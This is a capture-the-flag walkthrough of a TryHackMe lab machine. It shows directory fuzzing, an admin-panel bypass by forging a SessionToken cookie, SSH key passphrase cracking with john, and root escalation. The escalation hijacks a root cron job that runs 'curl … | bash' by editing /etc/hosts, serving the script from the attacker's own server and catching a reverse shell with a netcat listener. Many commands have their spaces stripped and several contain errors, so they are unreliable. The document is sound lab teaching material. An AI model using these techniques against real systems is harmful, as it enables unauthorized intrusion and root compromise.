As we can see from the nmap scan report there are 2 open ports
Port 22 for ssh
Port 80 for http
Assumption
As there are two open ports so and now we know our attacking area. SSH required Username and Password or Username and Key to get the system access but that takes time and the success rate is low so we ignore it right now and move into the HTTP. Target has a web server/web application running on port 80 and that has a good area for the attack so we enumerate this and find a way to exploit the system
Enumeration
Web Directories Scanning
Tool: ffuf
Command:
$ffuf-wwordlist.txt:FUZZ-uhttp://IP:PORT/FUZZ-ic
-w: For Directory Scanning Wordlist i.e directory-list-2.3-small.txt from Seclists
:FUZZ: This is a keyword that passes to the ffuf that tells ffuf where they have to start Fuzzing
-u: For give him a URL of the Target
-ic: ignore wordlist comments
OR you can use gobustor for this also
Command:
$gobustordir-wwordlist.txt-uhttp://IP:PORT
dir: Tell gobustor that we scan for Directories
-w: For Directory Scanning Wordlist i.e directory-list-2.3-small.txt from Seclists
As we can see from the result that there are hidden directory /admin that have a login panel that required a username and password for login I tried some common passwords like admin:admin and they are incorrect so we bruteforce it for login credentials but in THM hint they say "OWASP Top 10 Vuln! Do NOT bruteforce." so we don't have to bruteforce this we have to find a vulnerability from its source code and press CTRL + U to get the source code and we can see there are three js file on the source
main.js
login.js
cookie.js
The login function is work with the javascript name called login.js as we can see so we can read it to know how login work. As in the login.js file when we see the following function
They are just used if else for login checks. when we enter some credentials they call /api/login to check credentials from creds if the credentials don't match they send a response "Incorrect credentials". Else set a cookie with a javascript function cookie. set with the SessionToken with the value statusorcookie variable response now further check for session token so we can use it with our own made session token with the value of something we want with following js function
cookies.set("SessionToken","admin")
Use this function of your browser js console in inspector mode/Develpor Mode use CTRL + SHIFT + I in Chrome to go to inspector mode when you use this function on your browser console they set a cookie with the `session token with the value admin so just reload the page and you got a login to the Administrator area
There you can see some messages to the person named James that says
Sinceyoukeepforgettingyourpassword,James,I've set up SSH keys for you.If you forget the password for this, crack it yourself. I'mtiredoffixingstuffforyou.Also,weneedtotalkaboutthis"Military Grade"encryption.-Paradox
This message has an SSH private key for user James but this private key has a password on it but we can crack it
Exploitation
So we have an SSH private key for user James but this key has a password set on the key so we have to crack that ssh key password first to login to the system first so to do that we have to copy the private key to a file, for now, I name it id.rsa
Tool: ssh2john
Command:
$ssh2johnid.rsa--wordlist=rockyou.txt>id.hash
ssh2john: Script name
id.rsa: Private key file that we want to crack
--wordlist: For wordlist that they use to crack passwords i.e rockyou.txt
id.hash: This will create a file name id.hash and write/redirect all the output of the ssh2john file and save it into your directory
This command first changes the ssh private key format into a hash format that the JohnTheRipper tool will understand and save it into your system directory with the name id.hash. Now we can crack that hash with john/JohnTheRipper
Tool: john
Command:
$johnid.hash--wordlist=rockyou.txt
johnThis is a tool used to crack password hashes
id.hashThis is the hash file that creates by the ssh2john in the above task
--wordlist=This is used to specify password wordlist i.e rockyou.txt
Result:
Usingdefaultinputencoding:UTF-8Loaded1passwordhash (SSH [RSA/DSA/EC/OpenSSH (SSH privatekeys) 32/64])Cost1 (KDF/cipher [0=MD5/AES 1=MD5/3DES2=Bcrypt/AES]) is 0 for all loaded hashesCost2 (iteration count) is 1 for all loaded hashesWillrun2OpenMPthreadsNote:Thisformatmayemitfalsepositives,soitwillkeeptryingevenafterfindingapossiblecandidate.Press'q'orCtrl-Ctoabort,almostanyotherkeyforstatusjames13 (id.rsa)1g0:00:00:10DONE (2021-07-13 13:34) 0.09699g/s 1391Kp/s 1391Kc/s 1391KC/sa6_123..*7¡Vamos!Sessioncompleted
This command gives us the password of the private key so now we can login to the James user using ssh
Initial Access
So we have the Private key, Username, and Private Key password so now we are fully capable of login into the system but first we have to change the private key permission as only we can read and write it no one else
Command:
$chmod600id.rsa
This command changes the permission of the private key so only we can read it
Now time to login using ssh
$ssh-Iid.rsajames@IP_Address_here
Result:
└─$ssh-Iid.rsajames@10.10.179.213Theauthenticityofhost'10.10.179.213 (10.10.179.213)'can't be established.ECDSA key fingerprint is SHA256:4P0PNh/u8bKjshfc6DBYwWnjk1Txh5laY/WbVPrCUdY.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '10.10.179.213' (ECDSA) to the list of known hosts.Enter the passphrase for key 'id.rsa':Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Tue Jul 13 08:52:08 UTC 2021 System load: 0.08 Processes: 88 Usage of /: 22.3% of 18.57GB Users logged in: 0 Memory usage: 14% IP address for eth0: 10.10.179.213 Swap usage: 0%47 packages can be updated.0 updates are security updates.Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1james@overpass-prod:~$
So we have now access to the James user. use the *ls command to see the files
james@overpass-prod:~$lstodo.txtuser.txt
Catuser.txt file to see the flag.
Privilege Escalation
There is also a file name todo.txt as you can see above and this has the following thing this show on the last line they update the overpass build on the website from somewhere on the system using some unknown method for us
$cattodo.txtToDo:> Update Overpass Encryption, Muirland has been complaining that it's not strong enough> Write down my password somewhere on a sticky note so that I don't forget it.Wait,wemakeapasswordmanager.Whydon't I just use that?> Test Overpass for macOS, it builds fine but I'mnotsureitworks> Ask Paradox how he got the automated build script working and where the builds go.They're not updating the website
So let's start exploring some priv-escalation vectors
First search some SUID binaries using the find command like following
As we can see from above the *crontab file is readable so we can check it
$cat/etc/crontab# /etc/crontab: system-wide crontab# Unlike any other crontab you don't have to run the `crontab'# command to install the new version when you edit this file# and files in /etc/cron.d. These files also have username fields,# that none of the other crontabs do.SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user command17****rootcd/&&run-parts--report/etc/cron.hourly256***roottest-x/usr/sbin/anacron|| ( cd/&&run-parts--report/etc/cron.daily )476**7roottest-x/usr/sbin/anacron|| ( cd/&&run-parts--report/etc/cron.weekly )5261**roottest-x/usr/sbin/anacron|| ( cd/&&run-parts--report/etc/cron.monthly )# Update builds from the latest code***** root curl overpass.thm/downloads/src/buildscript.sh |bash
So the crontab the file shows us the method they use to update their overpass build with the latest code. They use curl to the overpass.thm/downloads/src/buildscript.sh and pipe this into bash and they are run as a root so this will be our priv-escalation vector if we can abuse this. We know from the Above that the/etc/hosts file are read and writable so we can use this to change its local DNS file and leverage it into run our own script that gives us a root shell by using the following commands
$nano/etc/hosts
127.0.0.1localhost127.0.1.1overpass-prod10.8.186.33overpass.thm# This is my THM IP Change this IP with your IP Address# The following lines are desirable for IPv6-capable hosts::1ip6-localhostip6-loopbackfe00::0ip6-localnetff00::0ip6-mcastprefixff02::1ip6-allnodesff02::2ip6-allrouters
This is the content of the /etc/hosts file and I change the 127.0.0.1 IP of the 3rd line with my machine IP Address. Now go to your machine and make a directories name downloads/src/ like the following
$mkdir-pdownloads/src/
This will create a downloads directory and inside it they also create src directory
Now go src directory using the following command
$cddownloads/src
Now make a file with the name buildscript.sh
$touchbuildscript.sh
Now write the file with the following revershell in the file
Note: Change the IP Address with your machine IP and PORT with 8080
Now start the Python server Using the following command
$sudopython-mhttp.server80
Note: Start the server on the same directory where you create downloads directory not in the src directory
Now open a listener on the system using the following command
$nc-lnvp8080
Now wait for the script to execute on the system. When the script executes on the system you got the connection from your nc listener and your got root access to the system
